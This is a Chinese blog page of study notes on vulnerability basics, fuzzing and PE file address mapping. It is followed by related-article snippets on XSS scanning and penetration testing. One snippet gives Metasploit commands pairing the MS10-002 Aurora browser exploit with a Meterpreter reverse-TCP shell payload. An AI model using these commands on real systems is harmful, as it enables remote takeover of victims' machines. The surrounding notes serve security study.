0day笔记(一)

1.现代攻击技术的精髓就是混淆数据和代码的界限,让系统错误地把数据当做代码去执行。

bug和漏洞的区别:

功能性逻辑缺陷(bug):影响软件的正常功能,例如,执行结果错误,图标显示错误。

安全性逻辑缺陷(漏洞):通常情况下不影响软件的正常功能,但被攻击者成功利用后,可能回引起软件去执行额外的恶意代码。常见的漏洞包括软件的缓冲区溢出,跨站脚本攻击(XSS),SQL注入。

漏洞挖掘有三种方式:白盒代码审计,灰盒逆向工程,黑盒测试,其中黑盒的FUZZ测试是效率最高的一种测试。

FUZZ测试:也叫模糊测试,是一种挖掘软件安全漏洞,检测软件健壮性的的测试,它通过向软件输入非法的字段,观测测试软件是否出现异常而实现。

PE文件格式

PE是win32平台下可执行文件遵守的数据格式

一个可执行文件不光包含二进制的机器代码,还会自带许多其他信息,比如字符串,菜单,图标,位图,字体等,PE文件格式规定所有这些信息在可执行文件中如何组织。

虚拟内存:
windows内存可以分成两个层面:虚拟内存和物理内存

物理内存会在进程运行时为其分配虚拟内存,比如512MB的物理内存,3个进程分别对应三个4G的虚拟内存,虚拟内存的值大于物理内存的值,但是这4G的虚拟内存只是个数值,代表存放的数据大小,参见银行资金和账面存款的关系。

PE文件与虚拟内存之间的映射关系

(1)静态反汇编工具看到的PE文件中某条指令的位置是相对磁盘文件而言的,即所谓的文件偏移,我们可能还要知道这条指令在内存中所处的位置,即虚拟内存地址(VA)

(2)若在调试时看到的某条某条指令的地址是虚拟内存地址,也需要回到PE文件中找这条指令对应的机器码

几个重要概念

1.文件偏移位置

数据在PE文件中的地址叫做文件偏移地址(或许“文件地址”更准确),是文件在磁盘上存放时相对文件开头的偏移

2.装载基址

PE装入内存时的基地址,默认情况下,EXE文件在内存中的基地址是0x00400000,DLL文件是0x10000000。这些位置是可以通过修改编译选项更改的。

3.虚拟内存地址

PE文件中的指令被装入内存后的地址

4.相对虚拟地址

相对虚拟地址是内存地址相对于映射基址的偏移量

在默认情况下,一般PE文件的0字节对应到虚拟内存的0x00400000这个位置,这个地址便是装载基址。

堆栈是两种数据结构。堆栈都是一种数据项按序排列的数据结构,只能在一端(称为栈顶(top))对数据进行插入和删除。在单片机应用,堆栈是个特殊的存储区,主要功能是暂时存放数据和地址,通常用来保护断点和现场

由于操作系统在进行装载时“基本”上保持PE中的各种数据结构,所以文件偏移地址和RVA有很大的一致性,但由于文件数据的存放单位和内存数据的存放单位不同,所以仍会出现差异。

我们将这种由存储单位差异引起的节基址差称作节偏移

.text节偏移=0XC00

.rdata节偏移=0XE00

.data节偏移=0x1C00

.rsrc节偏移=0x25800

文件偏移地址=虚拟内存地址 - 装载基址 - 节偏移

=RVA - 节偏移

时间: 2024-10-26 06:23:40

0day笔记(一)的相关文章

基础渗透测试笔记二

xss跨站漏洞纯手打笔记(基础) XSS漏洞扫描 常用工具: wvs 椰树 safe3 Xelenium w3af vega xss扫描插件+burp Beef: beef+msf拿客户端shell(ie6 xp) use windows/browser/ms10_002_aurora set PAYLOAD windows/meterpreter/reverse_tvp PAYLOAD =>wondows/meterpreter/reverse_tcp set SRVHOST (my ip)

其他漏洞笔记合集

xss跨站漏洞纯手打笔记(基础) XSS漏洞扫描 常用工具: wvs 椰树 safe3 Xelenium w3af vega xss扫描插件+burp Beef: beef+msf拿客户端shell(ie6 xp) use windows/browser/ms10_002_aurora set PAYLOAD windows/meterpreter/reverse_tvp PAYLOAD =>wondows/meterpreter/reverse_tcp set SRVHOST (my ip)

google hacking for penetration testers 手册笔记

参考链接: Advanced operators reference Google hacking database 注意:以下内容涉及到大量参考图表,图表均在本人相册<google hacking参数查询表>里 第一章 谷歌搜索基础知识 1.谷歌翻译 可看作透明代理 利用: “翻译此页” 2.黄金法则: 不区分大小写 通配符*代表一个单词,非单一字母或一系列字母,在一单词开始或结尾使用星号和直接使用单词效果相同 保留查询关键字权利 强制搜索:         加引号:“words” 或 用布

渗透笔记大全

渗透笔记[ 常见网站程序 ] —————————————————————————————–asp类: foosun(风讯)kesion(科汛)newasp(新云)乔客CreateLive(创力)5uCMSKingCMSDvBBS(动网)BBSxp[博客]zblog[博客]pjblog —————————————————————————————– PHP类:DeDeCms(织梦)ECMS(帝国)PHPCMSPHP168HBcms(宏博)SupeSiteCMSware(思维)Joomla![BBS]

百度技术沙龙&amp;InfoQ笔记

百度技术沙龙&InfoQ笔记 by 伍雪颖 百度技术沙龙&InfoQ 弹窗 1,弹窗影响是可控的,白文件的弹窗 防御,是为了拦截未知的病毒木马,状态,病毒库,未知行为,采用的api, 黑白的集合样本,加快状态,目标,归类 3个监控点:对api的拦截,数据挖掘来的api,监控点,危险行为,高危和低危,提取特征,软件推广,沙龙广告,改变签名 安装包,释放文件,云防御模式 对抗(安全), 第一部分是一个做技术哥们讲的 云端处理,速度比较快,云规则,云防御模式 绿盟,张彦 2000,系统集成,企业

【安全牛学习笔记】

弱点扫描 ╋━━━━━━━━━━━━━━━━━━━━╋ ┃发现弱点                                ┃ ┃发现漏洞                                ┃ ┃  基于端口五福扫描结果版本信息(速度慢)┃ ┃  搜索已公开的漏洞数据库(数量大)      ┃ ┃  使用弱点扫描器实现漏洞管理            ┃ ╋━━━━━━━━━━━━━━━━━━━━╋ [email protected]:~# searchsploit Usage:

51CTO持续更新《通哥的运维笔记》

<通哥的运维笔记>将持续在51CTO网站更新,希望大家多多关注.互相学习,后期,我将会退出<通哥的运维笔记>系列视频教程,希望带给大家最大的收获,帮助大家更好的学习.进步.<通哥的运维笔记>主要从linux系统管理.虚拟化.cloudstack云平台以及网络管理之CCNA.CCNP.CCIE,等等方面深入讲解.

WPF笔记整理 - Bitmap和BitmapImage

项目中有图片处理的逻辑,因此要用到Bitmap.而WPF加载的一般都是BitmapImage.这里就需要将BitmapImage转成Bitmap 1. 图片的路径要用这样的,假设图片在project下的Images目录,文件名XXImage.png. pack://application:,,,/xxx;component/Images/XXImage.png 2. 代码: Bitmap bmp = null; var image = new BitmapImage(new Uri(this.X

java String 类 基础笔记

字符串是一个特殊的对象. 字符串一旦初始化就不可以被改变. String s = "abc";//存放于字符串常量池,产生1个对象 String s1=new String("abc");//堆内存中new创建了一个String对象,产生2个对象 String类中的equals比较字符串中的内容. 常用方法: 一:获取 1.获取字符串中字符的个数(长度):length();方法. 2.根据位置获取字符:charAt(int index); 3.根据字符获取在字符串中